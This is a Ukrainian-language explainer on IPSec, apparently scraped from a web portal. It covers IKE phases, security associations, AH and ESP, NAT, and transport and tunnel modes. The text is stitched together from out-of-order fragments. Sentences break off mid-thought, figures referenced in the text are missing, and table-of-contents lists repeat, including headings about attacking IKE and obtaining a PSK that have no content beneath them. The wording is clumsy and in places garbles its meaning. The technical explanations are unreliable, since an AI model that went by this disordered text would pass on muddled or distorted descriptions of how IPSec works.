IPSec спирається на ряд технологічних рішень та методів шифрування, але дію IPSec загалом можна представити у вигляді наступних основних кроків:

Крок 1. Початок процесу IPSec.Трафік, який потребує шифрування відповідно до політики захисту IPSec, узгодженої сторонами IPSec, починає IКЕ-процес.
Крок 2. Перша фаза IKE. IKE процес виконує аутентифікацію сторін IPSec і веде переговори про параметри асоціацій захисту IKE, в результаті чого створюється захищений канал для ведення переговорів про параметри асоціацій захисту IPSec в ході другої фази IKE.
Крок 3. Друга фаза IKE. IKE-процес веде переговори про параметри асоціації захисту IPSec та встановлює відповідні асоціації захисту IPSec для пристроїв сполучених сторін.
Крок 4. Передача даних. Відбувається обмін даними між сторонами, що повідомляються IPSec, який базується на параметрах IPSec і ключах, що зберігаються в базі даних асоціацій захисту.
Крок 5. Завершення роботи тунелю IPSec. Асоціації захисту IPSec завершують свою роботу або в результаті їх видалення, або через перевищення граничного часу їх існування.

У наступних розділах ці кроки будуть описані докладніше.

мережу , безпечного тунелю ( мал. 5.9), яким передаються конфіденційні чи чутливі до несанкціонованої зміни дані. Подібний тунель створюється за допомогою криптографічних методів захисту інформації.

Протокол працює на мережному рівні моделі OSI і, відповідно, він "прозорий" для програм. Іншими словами, на роботу додатків (таких як web-сервер, браузер, СУБД і т.д.) не впливає, використовується захист переданих даних за допомогою IPSec чи ні.

Операційні системи сімейства Windows 2000 та вище мають вбудовану підтримку протоколу IPSec. З точки зору багаторівневої моделі захисту цей протокол є засобом захисту рівня мережі.

Мал. 5.9.

Архітектура IPSec є відкритою, що, зокрема, дозволяє використовувати для захисту даних, що передаються, нові криптографічні алгоритми і протоколи, наприклад відповідні національним стандартам. Для цього необхідно, щоб сторони, що взаємодіють, підтримували ці алгоритми, і вони були б стандартним чином зареєстровані в описі параметрів з'єднання.

Процес захищеної передачі регулюється правилами безпеки, прийнятими у системі. Параметри тунелю, що створюється інформаційна структура, звана контекст захисту або асоціація безпеки (від англ. Security Association, скор. SA). Як зазначалося вище, IPSec є набором протоколів, і склад SA може відрізнятися, залежно від конкретного протоколу. SA включає:

IP-адреса одержувача;
вказівку на протоколи безпеки, які використовуються під час передачі даних;
ключі, необхідні для шифрування та формування імітівставки (якщо це потрібно);
вказівку на метод форматування, який визначає, яким чином створюються заголовки;
індекс параметрів захисту (від англ. Security Parameter Index, скор. SPI) - ідентифікатор, що дозволяє знайти потрібний SA.

Зазвичай контекст захисту є односпрямованим, а для передачі даних по тунелю в обидві сторони задіюються два SA . Кожен хост має власну базу SA , з якої вибирається необхідний елемент або з SPI , або з IP -адресу одержувача.

Два протоколи, що входять до складу IPSec:

протокол аутентифікуючого заголовка- AH (від англ. Authentication Header), що забезпечує перевірку цілісності та аутентифікацію переданих даних; остання версіяпротоколу описано в RFC 4302 (попередні - RFC 1826, 2402);
протокол інкапсулюючого захисту даних – ESP (від англ. Encapsulating Security Payload) - забезпечує конфіденційність і, додатково, може забезпечувати перевірку цілісності та автентифікацію, описаний у RFC 4303 (попередні - RFC 1827, 2406).

Обидва ці протоколи мають два режими роботи - транспортний та тунельний, останній визначений як основний. Тунельний режимвикористовується, якщо хоча б один із вузлів, що з'єднуються, є шлюзом безпеки. У цьому випадку створюється новий IP-заголовок, а вихідний IP-пакет повністю інкапсулюється в новий.

Транспортний режиморієнтований на з'єднання хост-хост. При використанні ESP у транспортному режимі захищаються лише дані IP-пакета, заголовок не торкається. При використанні AH захист поширюється на дані та частину полів заголовка. Докладніше режими роботи наведено нижче.

Протокол AH

В IP ver .4 аутентифікуючий заголовок розташовується після заголовка IP. Представимо вихідний IP-пакет як сукупність IP-заголовка, заголовка протоколу наступного рівня(Як правило, це TCP або UDP, на рис. 5.10 він позначений як ULP - від англ. Upper-Level Protocol) та даних.

Мал. 5.10.

Розглянемо формат заголовка ESP (рис. 5.13). Він починається з двох 32-розрядних значень. SPIі SN. Роль їх така сама, як у протоколі AH - SPIідентифікує SA, що використовується для створення даного тунелю; SN- дозволяє захиститись від повторів пакетів. SNі SPIне шифруються.

Наступним йде поле, що містить зашифровані дані. Після них - поле заповнювача, який потрібен для того, щоб вирівняти довжину полів, що шифруються, до значення кратного розміру блоку алгоритму шифрування.

Мал. 5.12.

Мал. 5.13.

Після заповнювача йдуть поля, що містять значення довжини заповнювача та вказівку на протокол вищого рівня. Чотири перелічені поля (дані, заповнювач, довжина, наступний протокол) захищаються шифруванням.

Якщо ESP використовується і для аутентифікації даних, то пакет завершує змінну довжину, що містить ICV. На відміну від AH, ESP при розрахунку значення імітівставки , поля IP-заголовка (нового - для тунельного режиму, модифікованого старого - для транспортного) не враховуються.

При спільному використанні протоколів AH і ESP після IP заголовка йде AH, після нього - ESP . У цьому випадку ESP вирішує завдання забезпечення конфіденційності, AH - забезпечення цілісності та аутентифікації джерела з'єднання.

Розглянемо низку додаткових питань, пов'язаних із використанням IPSec. Почнемо з того, звідки береться інформація про параметри з'єднання SA. Створення бази SA може проводитись різними шляхами. Зокрема, вона може створюватися адміністратором безпекивручну, або формуватися з використанням спеціальних протоколів - SKIP, ISAKMP (Internet Security Association and Key Management Protocol) та IKE (Internet Key Exchange).

IPSec та NAT

При підключенні мереж організацій до Інтернету часто використовується механізм трансляції мережевих адрес - NAT (Network Address Translation). Це дозволяє зменшити кількість зареєстрованих IP-адрес, що використовуються в мережі. Всередині мережі використовуються незареєстровані адреси (зазвичай з діапазонів, спеціально виділених для цієї мети, наприклад, адреси виду 192.168.x.x для мереж класу C). Якщо пакет з такої мережі передається в Інтернет, то маршрутизатор, зовнішньому інтерфейсу якого призначено принаймні одну зареєстровану ip-адресу, модифікує ip-заголовки мережних пакетів, підставляючи замість приватних адрес зареєстровану адресу. Те, як робиться підстановка, фіксується у спеціальній таблиці. При отриманні відповіді, відповідно до таблиці, робиться зворотна заміна і пакет переправляється у внутрішню мережу.

Розглянемо приклад використання NAT рис. 5.14. У цьому випадку у внутрішній мережі використовуються приватні адреси 192.168.0.x. З комп'ютера, з адресою 192.168.0.2, звертаються до зовнішньої мережі до комп'ютера з адресою 195.242.2.2. Нехай це буде підключення до web-сервера (протокол HTTP, який використовує TCP порт 80).

При проходженні пакета через маршрутизатор, який виконує трансляцію адрес, ip-адреса відправника (192.168.0.2) буде замінена на адресу зовнішнього інтерфейсумаршрутизатора (195.201.82.146), а до таблиці трансляції адрес буде додано запис, аналогічний наведеному в

Internet Protocol Security (IPSec) називають у стандартах Internet системою. Дійсно, IPSec - це узгоджений набір відкритих стандартів, що має сьогодні цілком окреслене ядро, і в той же час він може бути просто доповнений новими протоколами, алгоритмами і функціями.

Основне призначення протоколів IPSec – забезпечення безпечної передачі даних по мережах IP. Застосування IPSec гарантує:

цілісність, т. е. що при передачі не були спотворені, втрачені чи продубльовані;
автентичність, тобто дані були передані тим відправником, який довів, що він той, за кого себе видає;
конфіденційність, тобто, що дані передаються у формі, що запобігає їх несанкціонованому перегляду.

(Зауважимо, що відповідно до класичного визначення поняття безпеки даних включає ще одну вимогу - доступність даних, що в розглянутому контексті може бути інтерпретовано як гарантія їх доставки. Протоколи IPSec не вирішують це завдання, залишаючи її протоколу транспортного рівня TCP.)

ЗАХИЩЕНІ КАНАЛИ НА РІЗНИХ РІВНЯХ

IPSec - це лише одна з багатьох, хоч і найпопулярніша на сьогодні, технологія безпечної передачі даних загальнодоступною (незахищеною) мережею. Для технологій такого призначення використовується узагальнена назва – захищений канал (secure channel). Термін "канал" підкреслює той факт, що захист даних забезпечується між двома вузлами мережі (хостами або шлюзами) вздовж деякого віртуального шляху, прокладеного в мережі з комутацією пакетів.

Захищений канал можна побудувати за допомогою системних засобів, реалізованих різних рівнях моделі OSI (див. малюнок 1). Якщо для захисту даних використовується протокол одного з верхніх рівнів (прикладного, презентаційного або сеансового), такий спосіб захисту не залежить від того, які мережі (IP або IPX, Ethernet або ATM) застосовуються для транспортування даних, що можна вважати безперечною гідністю. З іншого боку, додаток у своїй стає залежним від конкретного протоколу захисту, т. е. додатків такий протокол перестав бути прозорим.

Захищеному каналу на найвищому, прикладному рівні властивий ще один недолік - обмежена сфера дії. Протокол захищає лише цілком певну мережеву службу- файлову, гіпертекстову чи поштову. Наприклад, протокол S/MIME захищає виключно повідомлення електронної пошти. Тому для кожної служби необхідно розробляти відповідну захищену версію протоколу.

Найбільш відомим протоколом захищеного каналу, який працює на наступному, презентаційному рівні, став протокол Secure Socket Layer (SSL) та його нова відкрита реалізація Transport Layer Security (TLS). Зниження рівня протоколу перетворює його на набагато більш універсальний засіб захисту. Тепер єдиним протоколом захисту можуть скористатися будь-які програми та протоколи прикладного рівня. Однак програми потрібно переписувати як і раніше - у них мають бути вбудовані явні виклики функцій протоколу захищеного каналу.

Чим нижче в стеку реалізовані засоби захищеного каналу, тим простіше зробити їх прозорими для додатків і прикладних протоколів. На мережному та канальному рівнях залежність додатків від протоколів захисту зникає зовсім. Однак тут ми стикаємося з іншою проблемою – залежністю протоколу захисту від конкретної мережевий технології. Справді, у різних частинах великої складової мережі, взагалі кажучи, використовуються різні канальні протоколи, тому прокласти захищений канал через це гетерогенне середовище за допомогою єдиного протоколу канального рівня неможливо.

Розглянемо, наприклад, протокол захищеного каналу Point-to-Point Tunneling Protocol (PPTP), який працює на канальному рівні. Він заснований на протоколі PPP, який широко використовується в з'єднаннях «точка-точка», наприклад, при роботі з виділеними лініями. Протокол PPTP не тільки забезпечує прозорість засобів захисту для додатків та служб прикладного рівня, але й не залежить від застосовуваного протоколу мережного рівня: зокрема, протокол PPTP може переносити пакети як у мережах IP, так і мережах, що працюють на основі протоколів IPX, DECnet або NetBEUI. Однак, оскільки протокол PPP використовується далеко не у всіх мережах (здебільшого локальних мережна канальному рівні працює протокол Ethernet, а глобальних - протоколи ATM, frame relay), то PPTP не можна вважати універсальним засобом.

протокол IPSec, що працює на мережевому рівні, є компромісним варіантом. З одного боку, він прозорий для додатків, з другого - може працювати практично переважають у всіх мережах, оскільки грунтується широко поширеному протоколі IP: нині у світі лише 1% комп'ютерів не підтримує IP взагалі, інші 99% використовують його чи як єдиний протокол, або як один з декількох протоколів.

РОЗПОДІЛ ФУНКЦІЙ МІЖ ПРОТОКОЛАМИ IPSEC

Ядро IPSec складають три протоколи: протокол аутентифікації (Authenti-cation Header, AH), протокол шифрування (Encapsulation Security Payload, ESP) та протокол обміну ключами (Internet Key Exchange, IKE). Функції підтримки захищеного каналу розподіляються між цими протоколами наступним чином:

протокол AH гарантує цілісність та автентичність даних;
протокол ESP шифрує передані дані, гарантуючи конфіденційність, але може також підтримувати аутентифікацію і цілісність даних;
протокол IKE вирішує допоміжне завдання автоматичного надання кінцевим точкам каналу секретних ключів, необхідні роботи протоколів аутентифікації і шифрування даних.

Як видно з короткого описуфункцій, можливості протоколів AH та ESP частково перекриваються. Протокол AH відповідає лише за забезпечення цілісності та аутентифікації даних, у той час як протокол ESP більш потужний, тому що може шифрувати дані, а крім того, виконувати функції протоколу AH (хоча, як побачимо пізніше, аутентифікація та цілісність забезпечуються ним у дещо урізаному вигляді ). Протокол ESP може підтримувати функції шифрування та аутентифікації/цілісності у будь-яких комбінаціях, тобто або ту й іншу групу функцій, або лише аутентифікацію/цілісність, або лише шифрування.

Для шифрування даних IPSec може бути застосований будь-який симетричний алгоритм шифрування, що використовує секретні ключі. В основі забезпечення цілісності та аутентифікації даних також лежить один із прийомів шифрування - шифрування за допомогою односторонньої функції (one-way function), яка називається також хеш-функцією (hash function) або дайджест-функцією (digest function).

Ця функція, застосована до даних, що шифруються, дає в результаті значення-дайджест, що складається з фіксованого невеликого числа байт. Дайджест передається в IP-пакеті разом із вихідним повідомленням. Одержувач, знаючи, яка одностороння функція шифрування була застосована для складання дайджесту, знову обчислює його, використовуючи вихідне повідомлення. Якщо значення отриманого та обчисленого дайджестів збігаються, це означає, що вміст пакета під час передачі не було змінено. Знання дайджеста не дозволяє відновити вихідне повідомлення і тому не може бути використане для захисту, зате воно дозволяє перевірити цілісність даних.

Дайджест є своєрідною контрольною сумою для вихідного повідомлення. Однак є й суттєва відмінність. Використання контрольної суми - це засіб перевірки цілісності повідомлень, що передаються по ненадійних лініях зв'язку, і воно не спрямоване на боротьбу зі зловмисними діями. Справді, наявність контрольної суми в пакеті, що передається, не завадить зловмиснику підмінити вихідне повідомлення, додавши до нього нове значення контрольної суми. На відміну від контрольної суми при обчисленні дайджесту, використовується секретний ключ. Якщо для отримання дайджеста застосовувалася одностороння функція з параметром (якою є секретний ключ), відомим тільки відправнику та одержувачу, будь-яка модифікація вихідного повідомлення буде негайно виявлена.

Розділення функцій захисту між двома протоколами AH і ESP викликане застосовуваною у багатьох країнах практикою обмеження експорту та/або імпорту коштів, які забезпечують конфіденційність даних шляхом шифрування. Кожен із цих двох протоколів може використовуватися як самостійно, так і одночасно з іншим, так що в тих випадках, коли шифрування через чинні обмеження застосовувати не можна, систему можна поставляти тільки з протоколом AH. Природно, захист даних тільки за допомогою протоколу AH у багатьох випадках буде недостатнім, оскільки сторона, що приймає, у цьому випадку буде впевнена тільки в тому, що дані були відправлені саме тим вузлом, від якого вони очікуються, і дійшли в тому вигляді, в якому були відправлені. Від несанкціонованого перегляду шляхом проходження даних протокол AH захистити не може, оскільки не шифрує їх. Для шифрування даних необхідно застосовувати протокол ESP, який також може перевірити їх цілісність і автентичність.

БЕЗПЕЧНА АСОЦІАЦІЯ

Для того щоб протоколи AH і ESP могли виконувати свою роботу із захисту даних, що передаються, протокол IKE встановлює між двома кінцевими точками логічне з'єднання, яке в стандартах IPSec носить назву «безпечна асоціація» (Security Association, SA). Встановлення SA починається із взаємної аутентифікації сторін, тому що всі заходи безпеки втрачають сенс, якщо дані передаються або приймаються не тим чи не від тієї особи. Параметри SA, що вибираються далі, визначають, який з двох протоколів, AH або ESP, застосовується для захисту даних, які функції виконує протокол захисту: наприклад, лише автентифікацію та перевірку цілісності або, крім того, ще й захист від помилкового відтворення. Дуже важливим параметром безпечної асоціації є так званий криптографічний матеріал, тобто секретні ключі, що використовуються у роботі протоколів AH та ESP.

Система IPSec дозволяє застосовувати і ручний спосіб встановлення безпечної асоціації, при якому адміністратор конфігурує кожен кінцевий вузол таким чином, щоб вони підтримували узгоджені параметри асоціації, включаючи секретні ключі.

Протокол AH або ESP функціонує вже в рамках встановленого логічного з'єднання SA, за його допомогою і здійснюється необхідний захист даних, що передаються з використанням вибраних параметрів.

Параметри безпечної асоціації повинні влаштовувати обидві кінцеві точки захищеного каналу. Тому при використанні автоматичної процедури встановлення SA протоколи IKE, що працюють по різні сторони каналу, вибирають параметри в ході переговорного процесу, подібно до того, як два модеми визначають максимально прийнятну для обох сторін швидкість обміну. Для кожного завдання, яке розв'язує протоколи AH і ESP, пропонується кілька схем аутентифікації та шифрування - це робить IPSec дуже гнучким засобом. (Зауважимо, що вибір функції отримання дайджесту для вирішення задачі аутентифікації ніяк не впливає на вибір алгоритму для шифрування даних.)

Для забезпечення сумісності в стандартної версії IPsec визначено деякий обов'язковий «інструментальний» набір: зокрема, для аутентифікації даних завжди можна використовувати одну з функцій односторонньої шифрації MD5 чи SHA-1, а число алгоритмів шифрування обов'язково входить DES. При цьому виробники продуктів, що включають IPSec, вільні розширювати протокол за рахунок інших алгоритмів автентифікації та шифрування, що вони з успіхом роблять. Наприклад, багато реалізації IPSec підтримують популярний алгоритм шифрування Triple DES, а також порівняно нові алгоритми – Blowfish, Cast, CDMF, Idea, RC5.

Стандарти IPSec дозволяють шлюзам використовувати як одну асоціацію SA для передачі трафіку всіх хостів, що взаємодіють через Internet, так і створювати для цієї мети довільне число асоціацій SA, наприклад по одній на кожне з'єднання TCP. Безпечна асоціація SA являє собою IPSec односпрямоване (симплексне) логічне з'єднання, тому при двосторонньому обміні даними необхідно встановити дві асоціації SA.

ТРАНСПОРТНИЙ І ТУНЕЛЬНИЙ РЕЖИМИ

Протоколи AH та ESP можуть захищати дані у двох режимах: транспортному та тунельному. У транспортному режимі передача IP-пакета через мережу виконується за допомогою оригінального заголовка цього пакета, а в тунельному режимі вихідний пакет поміщається новий IP-пакет і передача даних через мережу виконується виходячи з заголовка нового IP-пакета. Застосування того чи іншого режиму залежить від вимог, що пред'являються захисту даних, а також від ролі, яку грає в мережі вузол, завершальний захищений канал. Так, вузол може бути хостом (кінцевим вузлом) чи шлюзом (проміжним вузлом). Відповідно, є три схеми застосування IPSec: «хост-хост», «шлюз-шлюз» та «хост-шлюз».

У першій схемі захищений канал, або, що в даному контексті те саме, безпечна асоціація, встановлюється між двома кінцевими вузлами мережі (див. Рисунок 2). Протокол IPSec у цьому випадку працює на кінцевому вузлі та захищає дані, що надходять на нього. Для схеми "хост-хост" найчастіше використовується транспортний режим захисту, хоча дозволяється і тунельний.

Відповідно до другої схеми захищений канал встановлюється між двома проміжними вузлами, так званими шлюзами безпеки (Security Gateway, SG), на кожному з яких працює протокол IPSec (див. Рисунок 3). Захищений обмін даними може відбуватися між будь-якими двома кінцевими вузлами, підключеними до мереж, які розташовані за шлюзами безпеки. Від кінцевих вузлів підтримка протоколу IPSec не потрібна, вони передають свій трафік в незахищеному вигляді через заслуговують на довіру мережі Intranet підприємств. Трафік, що направляється в загальнодоступну мережу, проходить через шлюз безпеки, який забезпечує його захист за допомогою IPSec, діючи від свого імені. Шлюзи можуть використовувати лише тунельний режим роботи.

Комп'ютерний портал osblog

IPsec зсередини

Дві основні фази IPsec

Як обробляти дані

Режими IKEv1

Двох фаз виявилося недостатньо

IKEv2 vs IKEv1

Виходимо на кордон

Атакуємо першу фазу

Подолаємо перші складнощі

У чому сила IKE

Отримуємо PSK

Розправляємось з другим фактором IPsec

Входимо у внутрішню мережу

Як побудувати надійний захист

Що в результаті

IPsec зсередини

Дві основні фази IPsec

Як обробляти дані

Режими IKEv1

Двох фаз виявилося недостатньо

IKEv2 vs IKEv1

Виходимо на кордон

Атакуємо першу фазу

Подолаємо перші складнощі

У чому сила IKE

Отримуємо PSK

Розправляємось з другим фактором IPsec

Входимо у внутрішню мережу

Як побудувати надійний захист

Що в результаті

Вступ

Асоціації захисту (Security Association, SA)

Інфраструктура IPSec

Як працює IPSec

Протокол AH

IPSec та NAT

ЗАХИЩЕНІ КАНАЛИ НА РІЗНИХ РІВНЯХ

РОЗПОДІЛ ФУНКЦІЙ МІЖ ПРОТОКОЛАМИ IPSEC

БЕЗПЕЧНА АСОЦІАЦІЯ

ТРАНСПОРТНИЙ І ТУНЕЛЬНИЙ РЕЖИМИ

ПОХОДЖЕННЯ СТАТТІ